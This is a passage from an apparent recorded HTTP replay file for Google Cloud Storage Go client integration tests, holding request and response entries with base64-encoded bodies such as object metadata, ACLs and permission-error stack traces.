0KVxuXHRhdCBjb20uZ29vZ2xlLmFwaS5zZXJ2ZXIucmVzdC5hZGFwdGVyLnJvc3kuUm9zeUVycm9yQ29udmVydGVyLnRvRmF1bHQoUm9zeUVycm9yQ29udmVydGVyLmphdmE6NjcpXG5cdGF0IGNvbS5nb29nbGUuYXBpLnNlcnZlci5yZXN0LmFkYXB0ZXIucm9zeS5Sb3N5SGFuZGxlciQyLmNhbGwoUm9zeUhhbmRsZXIuamF2YToyNTkpXG5cdGF0IGNvbS5nb29nbGUuYXBpLnNlcnZlci5yZXN0LmFkYXB0ZXIucm9zeS5Sb3N5SGFuZGxlciQyLmNhbGwoUm9zeUhhbmRsZXIuamF2YToyMzkpXG5cdGF0IGNvbS5nb29nbGUuYXBpLnNlcnZlci5jb3JlLnV0aWwuQ2FsbGFibGVGdXR1cmUucnVuKENhbGxhYmxlRnV0dXJlLmphdmE6NjIpXG5cdGF0IGNvbS5nb29nbGUuY29tbW9uLnV0aWwuY29uY3VycmVudC5EaXJlY3RFeGVjdXRvci5leGVjdXRlKERpcmVjdEV4ZWN1dG9yLmphdmE6MzApXG5cdGF0IGNvbS5nb29nbGUuY29tbW9uLnV0aWwuY29uY3VycmVudC5BYnN0cmFjdEZ1dHVyZS5leGVjdXRlTGlzdGVuZXIoQWJzdHJhY3RGdXR1cmUuamF2YToxMTQzKVxuXHRhdCBjb20uZ29vZ2xlLmNvbW1vbi51dGlsLmNvbmN1cnJlbnQuQWJzdHJhY3RGdXR1cmUuY29tcGxldGUoQWJzdHJhY3RGdXR1cmUuamF2YTo5NjMpXG5cdGF0IGNvbS5nb29nbGUuY29tbW9uLnV0aWwuY29uY3VycmVudC5BYnN0cmFjdEZ1dHVyZS5zZXQoQWJzdHJhY3RGdXR1cmUuamF2YTo3MzEpXG5cdGF0IGNvbS5nb29nbGUuYXBpLnNlcnZlci5jb3JlLnV0aWwuQ2FsbGFibGVGdXR1cmUucnVuKENhbGxhYmxlRnV0dXJlLmphdmE6NjIpXG5cdGF0IGNvbS5nb29nbGUuY29tbW9uLnV0aWwuY29uY3VycmVudC5EaXJlY3RFeGVjdXRvci5leGVjdXRlKERpcmVjdEV4ZWN1dG9yLmphdmE6MzApXG5cdGF0IGNvbS5nb29nbGUuY29tbW9uLnV0aWwuY29uY3VycmVudC5BYnN0cmFjdEZ1dHVyZS5leGVjdXRlTGlzdGVuZXIoQWJzdHJhY3RGdXR1cmUuamF2YToxMTQzKVxuXHRhdCBjb20uZ29vZ2xlLmNvbW1vbi51dGlsLmNvbmN1cnJlbnQuQWJzdHJhY3RGdXR1cmUuY29tcGxldGUoQWJzdHJhY3RGdXR1cmUuamF2YTo5NjMpXG5cdGF0IGNvbS5nb29nbGUuY29tbW9uLnV0aWwuY29uY3VycmVudC5BYnN0cmFjdEZ1dHVyZS5zZXQoQWJzdHJhY3RGdXR1cmUuamF2YTo3MzEpXG5cdGF0IGNvbS5nb29nbGUuYXBpLnNlcnZlci5jb3JlLnV0aWwuQ2FsbGFibGVGdXR1cmUucnVuKENhbGxhYmxlRnV0dXJlLmphdmE6NjIpXG5cdGF0IGNvbS5nb29nbGUuYXBpLnNlcnZlci50aHJlYWQuVGhyZWFkVHJhY2tlcnMkVGhyZWFkVHJhY2tpbmdSdW5uYWJsZS5ydW4oVGhyZWFkVHJhY2tlcnMuamF2YToxMjYpXG5cdGF0IGNvbS5nb29nbGUudHJhY2luZy5UcmFjZUNvbnRleHQkVHJhY2VDb250ZXh0UnVubmFibGUucnVuSW5Db250ZXh0KFRyYWNlQ29udGV4dC5qYXZhOjQ1Mylcblx0YXQgY29tLmdvb2dsZS5hcGkuc2VydmVyLnNlcnZlci5Db21tb25Nb2R1bGUkQ29udGV4dENhcnJ5aW5nRXhlY3V0b3JTZXJ2aWNlJDEucnVuSW5Db250ZXh0KENvbW1vbk1vZHVsZS5qYXZhOjgwMilcblx0YXQgY29tLmdvb2dsZS50cmFjaW5nLlRyYWNlQ29udGV4dCRUcmFjZUNvbnRleHRSdW5uYWJsZSQxLnJ1bihUcmFjZUNvbnRleHQuamF2YTo0NjApXG5cdGF0IGlvLmdycGMuQ29udGV4dC5ydW4oQ29udGV4dC5qYXZhOjU2NSlcblx0YXQgY29tLmdvb2dsZS50cmFjaW5nLkN1cnJlbnRDb250ZXh0LnJ1bkluQ29udGV4dChDdXJyZW50Q29udGV4dC5qYXZhOjIwNClcblx0YXQgY29tLmdvb2dsZS50cmFjaW5nLlRyYWNlQ29udGV4dCRBYnN0cmFjdFRyYWNlQ29udGV4dENhbGxiYWNrLnJ1bkluSW5oZXJpdGVkQ29udGV4dE5vVW5yZWYoVHJhY2VDb250ZXh0LmphdmE6MzE5KVxuXHRhdCBjb20uZ29vZ2xlLnRyYWNpbmcuVHJhY2VDb250ZXh0JEFic3RyYWN0VHJhY2VDb250ZXh0Q2FsbGJhY2sucnVuSW5Jbmhlcml0ZWRDb250ZXh0KFRyYWNlQ29udGV4dC5qYXZhOjMxMSlcblx0YXQgY29tLmdvb2dsZS50cmFjaW5nLlRyYWNlQ29udGV4dCRUcmFjZUNvbnRleHRSdW5uYWJsZS5ydW4oVHJhY2VDb250ZXh0LmphdmE6NDU3KVxuXHRhdCBjb20uZ29vZ2xlLmdzZS5pbnRlcm5hbC5EaXNwYXRjaFF1ZXVlSW1wbCRXb3JrZXJUaHJlYWQucnVuKERpc3BhdGNoUXVldWVJbXBsLmphdmE6NDAzKVxuIn1dLCJjb2RlIjo0MDAsIm1lc3NhZ2UiOiJCdWNrZXQgaXMgcmVxdWVzdGVyIHBheXMgYnVja2V0IGJ1dCBubyB1c2VyIHByb2plY3QgcHJvdmlkZWQuIn19" - } - }, - { - "ID": "8b3aeb1f423d76c5", - "Request": { - "Method": "GET", - "URL": "https://www.googleapis.com/storage/v1/b/go-integration-test-20190502-80633403432013-0003/o/foo?alt=json\u0026prettyPrint=false\u0026projection=full\u0026userProject=gcloud-golang-firestore-tests", - "Header": { - "Accept-Encoding": [ - "gzip" - ], - "User-Agent": [ - "google-api-go-client/0.5" - ] - }, - "MediaType": "", - "BodyParts": [ - "" - ] - }, - "Response": { - "StatusCode": 200, - "Proto": "HTTP/1.1", - "ProtoMajor": 1, - "ProtoMinor": 1, - "Header": { - "Alt-Svc": [ - "quic=\":443\"; ma=2592000; v=\"46,44,43,39\"" - ], - "Cache-Control": [ - "no-cache, no-store, max-age=0, must-revalidate" - ], - "Content-Length": [ - "3193" - ], - "Content-Type": [ - "application/json; charset=UTF-8" - ], - "Date": [ - "Thu, 02 May 2019 22:24:54 GMT" - ], - "Etag": [ - "COGeqNLx/eECEAE=" - ], - "Expires": [ - "Mon, 01 Jan 1990 00:00:00 GMT" - ], - "Pragma": [ - "no-cache" - ], - "Server": [ - "UploadServer" - ], - "Vary": [ - "Origin", - "X-Origin" - ], - "X-Guploader-Customer": [ - "apiary_cloudstorage_metadata" - ], - "X-Guploader-Request-Result": [ - "success" - ], - "X-Guploader-Upload-Result": [ - "success" - ], - "X-Guploader-Uploadid": [ - "AEnB2UoX_zzYo9AYFb44YmIz49k5z8v8ITzEQsDrSxEE50-7AC-ndg18Yo5DFAZ9ZFCDtT5P7kch3c0-YlkhX-5oYCUIm-mmPmoTg0CKWVI0TJ9la9z9-vE" - ] - }, - "Body": "eyJraW5kIjoic3RvcmFnZSNvYmplY3QiLCJpZCI6ImdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMy9mb28vMTU1NjgzNTg5MTU0ODAwMSIsInNlbGZMaW5rIjoiaHR0cHM6Ly93d3cuZ29vZ2xlYXBpcy5jb20vc3RvcmFnZS92MS9iL2dvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMy9vL2ZvbyIsIm5hbWUiOiJmb28iLCJidWNrZXQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDMiLCJnZW5lcmF0aW9uIjoiMTU1NjgzNTg5MTU0ODAwMSIsIm1ldGFnZW5lcmF0aW9uIjoiMSIsImNvbnRlbnRUeXBlIjoidGV4dC9wbGFpbiIsInRpbWVDcmVhdGVkIjoiMjAxOS0wNS0wMlQyMjoyNDo1MS41NDdaIiwidXBkYXRlZCI6IjIwMTktMDUtMDJUMjI6MjQ6NTEuNTQ3WiIsInN0b3JhZ2VDbGFzcyI6IlNUQU5EQVJEIiwidGltZVN0b3JhZ2VDbGFzc1VwZGF0ZWQiOiIyMDE5LTA1LTAyVDIyOjI0OjUxLjU0N1oiLCJzaXplIjoiNSIsIm1kNUhhc2giOiJYVUZBS3J4TEtuYTVjWjJSRUJmRmtnPT0iLCJtZWRpYUxpbmsiOiJodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbS9kb3dubG9hZC9zdG9yYWdlL3YxL2IvZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDAzL28vZm9vP2dlbmVyYXRpb249MTU1NjgzNTg5MTU0ODAwMSZhbHQ9bWVkaWEiLCJjYWNoZUNvbnRyb2wiOiJwdWJsaWMsIG1heC1hZ2U9NjAiLCJhY2wiOlt7ImtpbmQiOiJzdG9yYWdlI29iamVjdEFjY2Vzc0NvbnRyb2wiLCJpZCI6ImdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMy9mb28vMTU1NjgzNTg5MTU0ODAwMS9wcm9qZWN0LW93bmVycy00OTYxNjk2MDE3MTQiLCJzZWxmTGluayI6Imh0dHBzOi8vd3d3Lmdvb2dsZWFwaXMuY29tL3N0b3JhZ2UvdjEvYi9nby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDMvby9mb28vYWNsL3Byb2plY3Qtb3duZXJzLTQ5NjE2OTYwMTcxNCIsImJ1Y2tldCI6ImdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMyIsIm9iamVjdCI6ImZvbyIsImdlbmVyYXRpb24iOiIxNTU2ODM1ODkxNTQ4MDAxIiwiZW50aXR5IjoicHJvamVjdC1vd25lcnMtNDk2MTY5NjAxNzE0Iiwicm9sZSI6Ik9XTkVSIiwicHJvamVjdFRlYW0iOnsicHJvamVjdE51bWJlciI6IjQ5NjE2OTYwMTcxNCIsInRlYW0iOiJvd25lcnMifSwiZXRhZyI6IkNPR2VxTkx4L2VFQ0VBRT0ifSx7ImtpbmQiOiJzdG9yYWdlI29iamVjdEFjY2Vzc0NvbnRyb2wiLCJpZCI6ImdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMy9mb28vMTU1NjgzNTg5MTU0ODAwMS9wcm9qZWN0LWVkaXRvcnMtNDk2MTY5NjAxNzE0Iiwic2VsZkxpbmsiOiJodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbS9zdG9yYWdlL3YxL2IvZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDAzL28vZm9vL2FjbC9wcm9qZWN0LWVkaXRvcnMtNDk2MTY5NjAxNzE0IiwiYnVja2V0IjoiZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDAzIiwib2JqZWN0IjoiZm9vIiwiZ2VuZXJhdGlvbiI6IjE1NTY4MzU4OTE1NDgwMDEiLCJlbnRpdHkiOiJwcm9qZWN0LWVkaXRvcnMtNDk2MTY5NjAxNzE0Iiwicm9sZSI6Ik9XTkVSIiwicHJvamVjdFRlYW0iOnsicHJvamVjdE51bWJlciI6IjQ5NjE2OTYwMTcxNCIsInRlYW0iOiJlZGl0b3JzIn0sImV0YWciOiJDT0dlcU5MeC9lRUNFQUU9In0seyJraW5kIjoic3RvcmFnZSNvYmplY3RBY2Nlc3NDb250cm9sIiwiaWQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDMvZm9vLzE1NTY4MzU4OTE1NDgwMDEvcHJvamVjdC12aWV3ZXJzLTQ5NjE2OTYwMTcxNCIsInNlbGZMaW5rIjoiaHR0cHM6Ly93d3cuZ29vZ2xlYXBpcy5jb20vc3RvcmFnZS92MS9iL2dvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMy9vL2Zvby9hY2wvcHJvamVjdC12aWV3ZXJzLTQ5NjE2OTYwMTcxNCIsImJ1Y2tldCI6ImdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMyIsIm9iamVjdCI6ImZvbyIsImdlbmVyYXRpb24iOiIxNTU2ODM1ODkxNTQ4MDAxIiwiZW50aXR5IjoicHJvamVjdC12aWV3ZXJzLTQ5NjE2OTYwMTcxNCIsInJvbGUiOiJSRUFERVIiLCJwcm9qZWN0VGVhbSI6eyJwcm9qZWN0TnVtYmVyIjoiNDk2MTY5NjAxNzE0IiwidGVhbSI6InZpZXdlcnMifSwiZXRhZyI6IkNPR2VxTkx4L2VFQ0VBRT0ifSx7ImtpbmQiOiJzdG9yYWdlI29iamVjdEFjY2Vzc0NvbnRyb2wiLCJpZCI6ImdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMy9mb28vMTU1NjgzNTg5MTU0ODAwMS91c2VyLWludGVncmF0aW9uQGdjbG91ZC1nb2xhbmctZmlyZXN0b3JlLXRlc3RzLmlhbS5nc2VydmljZWFjY291bnQuY29tIiwic2VsZkxpbmsiOiJodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbS9zdG9yYWdlL3YxL2IvZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDAzL28vZm9vL2FjbC91c2VyLWludGVncmF0aW9uQGdjbG91ZC1nb2xhbmctZmlyZXN0b3JlLXRlc3RzLmlhbS5nc2VydmljZWFjY291bnQuY29tIiwiYnVja2V0IjoiZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDAzIiwib2JqZWN0IjoiZm9vIiwiZ2VuZXJhdGlvbiI6IjE1NTY4MzU4OTE1NDgwMDEiLCJlbnRpdHkiOiJ1c2VyLWludGVncmF0aW9uQGdjbG91ZC1nb2xhbmctZmlyZXN0b3JlLXRlc3RzLmlhbS5nc2VydmljZWFjY291bnQuY29tIiwicm9sZSI6Ik9XTkVSIiwiZW1haWwiOiJpbnRlZ3JhdGlvbkBnY2xvdWQtZ29sYW5nLWZpcmVzdG9yZS10ZXN0cy5pYW0uZ3NlcnZpY2VhY2NvdW50LmNvbSIsImV0YWciOiJDT0dlcU5MeC9lRUNFQUU9In1dLCJvd25lciI6eyJlbnRpdHkiOiJ1c2VyLWludGVncmF0aW9uQGdjbG91ZC1nb2xhbmctZmlyZXN0b3JlLXRlc3RzLmlhbS5nc2VydmljZWFjY291bnQuY29tIn0sImNyYzMyYyI6Im1uRzdUQT09IiwiZXRhZyI6IkNPR2VxTkx4L2VFQ0VBRT0ifQ==" - } - }, - { - "ID": "f32edc9a9263c0a1", - "Request": { - "Method": "GET", - "URL": "https://www.googleapis.com/storage/v1/b/go-integration-test-20190502-80633403432013-0003/o/foo?alt=json\u0026prettyPrint=false\u0026projection=full\u0026userProject=veener-jba", - "Header": { - "Accept-Encoding": [ - "gzip" - ], - "User-Agent": [ - "google-api-go-client/0.5" - ] - }, - "MediaType": "", - "BodyParts": [ - "" - ] - }, - "Response": { - "StatusCode": 403, - "Proto": "HTTP/1.1", - "ProtoMajor": 1, - "ProtoMinor": 1, - "Header": { - "Alt-Svc": [ - "quic=\":443\"; ma=2592000; v=\"46,44,43,39\"" - ], - "Cache-Control": [ - "private, max-age=0" - ], - "Content-Length": [ - "13039" - ], - "Content-Type": [ - "application/json; charset=UTF-8" - ], - "Date": [ - "Thu, 02 May 2019 22:24:54 GMT" - ], - "Expires": [ - "Thu, 02 May 2019 22:24:54 GMT" - ], - "Server": [ - "UploadServer" - ], - "Vary": [ - "Origin", - "X-Origin" - ], - "X-Guploader-Customer": [ - "apiary_cloudstorage_metadata" - ], - "X-Guploader-Request-Result": [ - "agent_rejected" - ], - "X-Guploader-Upload-Result": [ - "agent_rejected" - ], - "X-Guploader-Uploadid": [ - "AEnB2Uok5lyOpE3YUZDwRz_bsA-E-xzWeqaApyadumOOFoA_YmOi_xnvFaJr6gfp9Gaktbpud9mv8qDCIvq1Yu7CyAVY0ScanSfNCke3naR_G7kPKYgrywY" - ] - }, - "Body": "eyJlcnJvciI6eyJlcnJvcnMiOlt7ImRvbWFpbiI6Imdsb2JhbCIsInJlYXNvbiI6ImZvcmJpZGRlbiIsIm1lc3NhZ2UiOiJpbnRlZ3JhdGlvbkBnY2xvdWQtZ29sYW5nLWZpcmVzdG9yZS10ZXN0cy5pYW0uZ3NlcnZpY2VhY2NvdW50LmNvbSBkb2VzIG5vdCBoYXZlIHNlcnZpY2V1c2FnZS5zZXJ2aWNlcy51c2UgYWNjZXNzIHRvIHByb2plY3QgNjQyMDgwOTE4MTAxLiIsImRlYnVnSW5mbyI6ImNvbS5nb29nbGUubmV0LnJwYzMuUnBjRXhjZXB0aW9uOiBjbG91ZC5iaWdzdG9yZS5SZXNwb25zZUNvZGUuRXJyb3JDb2RlOjpVU0VSX1BST0pFQ1RfQUNDRVNTX0RFTklFRDogaW50ZWdyYXRpb25AZ2Nsb3VkLWdvbGFuZy1maXJlc3RvcmUtdGVzdHMuaWFtLmdzZXJ2aWNlYWNjb3VudC5jb20gZG9lcyBub3QgaGF2ZSBzZXJ2aWNldXNhZ2Uuc2VydmljZXMudXNlIGFjY2VzcyB0byBwcm9qZWN0IDY0MjA4MDkxODEwMS5cblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5jb21tb24uQmlnc3RvcmVFeGNlcHRpb24udG9ScGMzRXhjZXB0aW9uKEJpZ3N0b3JlRXhjZXB0aW9uLmphdmE6MTQ3KVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmNvbW1vbi5CaWdzdG9yZUV4Y2VwdGlvbi50aHJvd1JwYzNPbkVycm9yKEJpZ3N0b3JlRXhjZXB0aW9uLmphdmE6MzIyKVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmFwaS5qc29uLmhhbmRsZXJzLm9iamVjdHMuR2V0T2JqZWN0LmhhbmRsZVJlcXVlc3RSZWNlaXZlZChHZXRPYmplY3QuamF2YTozMDkpXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuYXBpLmpzb24uaGFuZGxlcnMub2JqZWN0cy5HZXRPYmplY3QuaGFuZGxlUmVxdWVzdFJlY2VpdmVkKEdldE9iamVjdC5qYXZhOjcwKVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmFwaS5qc29uLmZyYW1ld29yay5SZXF1ZXN0SGFuZGxlci5oYW5kbGVSZXF1ZXN0UmVjZWl2ZWQoUmVxdWVzdEhhbmRsZXIuamF2YTozMTApXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuYXBpLmpzb24uZnJhbWV3b3JrLlJlcXVlc3RIYW5kbGVyLmhhbmRsZShSZXF1ZXN0SGFuZGxlci5qYXZhOjI1Nilcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5hcGkuanNvbi5PYmplY3RzRGVsZWdhdG9yLmdldChPYmplY3RzRGVsZWdhdG9yLmphdmE6ODEpXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuaXNvbGF0aW9uLlJwY1JlY2VpdmVyLmxhbWJkYSRwcm9jZXNzUmVxdWVzdEFzeW5jJDQoUnBjUmVjZWl2ZXIuamF2YToyMDIpXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuaXNvbGF0aW9uLkFzeW5jRXhlY3V0b3IubGFtYmRhJHN1Ym1pdCQwKEFzeW5jRXhlY3V0b3IuamF2YToyNTMpXG5cdGF0IGNvbS5nb29nbGUuY29tbW9uLmNvbnRleHQuQ29udGV4dFJ1bm5hYmxlLnJ1bkluQ29udGV4dChDb250ZXh0UnVubmFibGUuamF2YTo1MClcblx0YXQgY29tLmdvb2dsZS5jb21tb24uY29udGV4dC5Db250ZXh0UnVubmFibGUkMS5ydW4oQ29udGV4dFJ1bm5hYmxlLmphdmE6MzkpXG5cdGF0IGlvLmdycGMuQ29udGV4dC5ydW4oQ29udGV4dC5qYXZhOjU2NSlcblx0YXQgY29tLmdvb2dsZS50cmFjaW5nLkN1cnJlbnRDb250ZXh0LnJ1bkluQ29udGV4dChDdXJyZW50Q29udGV4dC5qYXZhOjIwNClcblx0YXQgY29tLmdvb2dsZS50cmFjaW5nLkdlbmVyaWNDb250ZXh0Q2FsbGJhY2sucnVuSW5Jbmhlcml0ZWRDb250ZXh0Tm9VbnJlZihHZW5lcmljQ29udGV4dENhbGxiYWNrLmphdmE6NzIpXG5cdGF0IGNvbS5nb29nbGUudHJhY2luZy5HZW5lcmljQ29udGV4dENhbGxiYWNrLnJ1bkluSW5oZXJpdGVkQ29udGV4dChHZW5lcmljQ29udGV4dENhbGxiYWNrLmphdmE6NjQpXG5cdGF0IGNvbS5nb29nbGUuY29tbW9uLmNvbnRleHQuQ29udGV4dFJ1bm5hYmxlLnJ1bihDb250ZXh0UnVubmFibGUuamF2YTozNSlcblx0YXQgamF2YS51dGlsLmNvbmN1cnJlbnQuVGhyZWFkUG9vbEV4ZWN1dG9yLnJ1bldvcmtlcihUaHJlYWRQb29sRXhlY3V0b3IuamF2YToxMTQ5KVxuXHRhdCBqYXZhLnV0aWwuY29uY3VycmVudC5UaHJlYWRQb29sRXhlY3V0b3IkV29ya2VyLnJ1bihUaHJlYWRQb29sRXhlY3V0b3IuamF2YTo2MjQpXG5cdGF0IGphdmEubGFuZy5UaHJlYWQucnVuKFRocmVhZC5qYXZhOjc0OClcbkNhdXNlZCBieTogY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5jb21tb24uQmlnc3RvcmVFeGNlcHRpb246IGludGVncmF0aW9uQGdjbG91ZC1nb2xhbmctZmlyZXN0b3JlLXRlc3RzLmlhbS5nc2VydmljZWFjY291bnQuY29tIGRvZXMgbm90IGhhdmUgc2VydmljZXVzYWdlLnNlcnZpY2VzLnVzZSBhY2Nlc3MgdG8gcHJvamVjdCA2NDIwODA5MTgxMDEuXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuY29tbW9uLkJpZ3N0b3JlRXhjZXB0aW9uLnRocm93T25FcnJvcihCaWdzdG9yZUV4Y2VwdGlvbi5qYXZhOjMxMilcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5jb21tb24uQmlnc3RvcmVFeGNlcHRpb24udGhyb3dScGMzT25FcnJvcihCaWdzdG9yZUV4Y2VwdGlvbi5qYXZhOjMyMClcblx0Li4uIDE3IG1vcmVcblxuY29tLmdvb2dsZS5hcGkuc2VydmVyLmNvcmUuRmF1bHQ6IEltbXV0YWJsZUVycm9yRGVmaW5pdGlvbntiYXNlPUZPUkJJRERFTiwgY2F0ZWdvcnk9VVNFUl9FUlJPUiwgY2F1c2U9bnVsbCwgZGVidWdJbmZvPWNvbS5nb29nbGUubmV0LnJwYzMuUnBjRXhjZXB0aW9uOiBjbG91ZC5iaWdzdG9yZS5SZXNwb25zZUNvZGUuRXJyb3JDb2RlOjpVU0VSX1BST0pFQ1RfQUNDRVNTX0RFTklFRDogaW50ZWdyYXRpb25AZ2Nsb3VkLWdvbGFuZy1maXJlc3RvcmUtdGVzdHMuaWFtLmdzZXJ2aWNlYWNjb3VudC5jb20gZG9lcyBub3QgaGF2ZSBzZXJ2aWNldXNhZ2Uuc2VydmljZXMudXNlIGFjY2VzcyB0byBwcm9qZWN0IDY0MjA4MDkxODEwMS5cblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5jb21tb24uQmlnc3RvcmVFeGNlcHRpb24udG9ScGMzRXhjZXB0aW9uKEJpZ3N0b3JlRXhjZXB0aW9uLmphdmE6MTQ3KVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmNvbW1vbi5CaWdzdG9yZUV4Y2VwdGlvbi50aHJvd1JwYzNPbkVycm9yKEJpZ3N0b3JlRXhjZXB0aW9uLmphdmE6MzIyKVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmFwaS5qc29uLmhhbmRsZXJzLm9iamVjdHMuR2V0T2JqZWN0LmhhbmRsZVJlcXVlc3RSZWNlaXZlZChHZXRPYmplY3QuamF2YTozMDkpXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuYXBpLmpzb24uaGFuZGxlcnMub2JqZWN0cy5HZXRPYmplY3QuaGFuZGxlUmVxdWVzdFJlY2VpdmVkKEdldE9iamVjdC5qYXZhOjcwKVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmFwaS5qc29uLmZyYW1ld29yay5SZXF1ZXN0SGFuZGxlci5oYW5kbGVSZXF1ZXN0UmVjZWl2ZWQoUmVxdWVzdEhhbmRsZXIuamF2YTozMTApXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuYXBpLmpzb24uZnJhbWV3b3JrLlJlcXVlc3RIYW5kbGVyLmhhbmRsZShSZXF1ZXN0SGFuZGxlci5qYXZhOjI1Nilcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5hcGkuanNvbi5PYmplY3RzRGVsZWdhdG9yLmdldChPYmplY3RzRGVsZWdhdG9yLmphdmE6ODEpXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuaXNvbGF0aW9uLlJwY1JlY2VpdmVyLmxhbWJkYSRwcm9jZXNzUmVxdWVzdEFzeW5jJDQoUnBjUmVjZWl2ZXIuamF2YToyMDIpXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuaXNvbGF0aW9uLkFzeW5jRXhlY3V0b3IubGFtYmRhJHN1Ym1pdCQwKEFzeW5jRXhlY3V0b3IuamF2YToyNTMpXG5cdGF0IGNvbS5nb29nbGUuY29tbW9uLmNvbnRleHQuQ29udGV4dFJ1bm5hYmxlLnJ1bkluQ29udGV4dChDb250ZXh0UnVubmFibGUuamF2YTo1MClcblx0YXQgY29tLmdvb2dsZS5jb21tb24uY29udGV4dC5Db250ZXh0UnVubmFibGUkMS5ydW4oQ29udGV4dFJ1bm5hYmxlLmphdmE6MzkpXG5cdGF0IGlvLmdycGMuQ29udGV4dC5ydW4oQ29udGV4dC5qYXZhOjU2NSlcblx0YXQgY29tLmdvb2dsZS50cmFjaW5nLkN1cnJlbnRDb250ZXh0LnJ1bkluQ29udGV4dChDdXJyZW50Q29udGV4dC5qYXZhOjIwNClcblx0YXQgY29tLmdvb2dsZS50cmFjaW5nLkdlbmVyaWNDb250ZXh0Q2FsbGJhY2sucnVuSW5Jbmhlcml0ZWRDb250ZXh0Tm9VbnJlZihHZW5lcmljQ29udGV4dENhbGxiYWNrLmphdmE6NzIpXG5cdGF0IGNvbS5nb29nbGUudHJhY2luZy5HZW5lcmljQ29udGV4dENhbGxiYWNrLnJ1bkluSW5oZXJpdGVkQ29udGV4dChHZW5lcmljQ29udGV4dENhbGxiYWNrLmphdmE6NjQpXG5cdGF0IGNvbS5nb29nbGUuY29tbW9uLmNvbnRleHQuQ29udGV4dFJ1bm5hYmxlLnJ1bihDb250ZXh0UnVubmFibGUuamF2YTozNSlcblx0YXQgamF2YS51dGlsLmNvbmN1cnJlbnQuVGhyZWFkUG9vbEV4ZWN1dG9yLnJ1bldvcmtlcihUaHJlYWRQb29sRXhlY3V0b3IuamF2YToxMTQ5KVxuXHRhdCBqYXZhLnV0aWwuY29uY3VycmVudC5UaHJlYWRQb29sRXhlY3V0b3IkV29ya2VyLnJ1bihUaHJlYWRQb29sRXhlY3V0b3IuamF2YTo2MjQpXG5cdGF0IGphdmEubGFuZy5UaHJlYWQucnVuKFRocmVhZC5qYXZhOjc0OClcbkNhdXNlZCBieTogY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5jb21tb24uQmlnc3RvcmVFeGNlcHRpb246IGludGVncmF0aW9uQGdjbG91ZC1nb2xhbmctZmlyZXN0b3JlLXRlc3RzLmlhbS5nc2VydmljZWFjY291bnQuY29tIGRvZXMgbm90IGhhdmUgc2VydmljZXVzYWdlLnNlcnZpY2VzLnVzZSBhY2Nlc3MgdG8gcHJvamVjdCA2NDIwODA5MTgxMDEuXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuY29tbW9uLkJpZ3N0b3JlRXhjZXB0aW9uLnRocm93T25FcnJvcihCaWdzdG9yZUV4Y2VwdGlvbi5qYXZhOjMxMilcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5jb21tb24uQmlnc3RvcmVFeGNlcHRpb24udGhyb3dScGMzT25FcnJvcihCaWdzdG9yZUV4Y2VwdGlvbi5qYXZhOjMyMClcblx0Li4uIDE3IG1vcmVcbiwgZG9tYWluPWdsb2JhbCwgZXh0ZW5kZ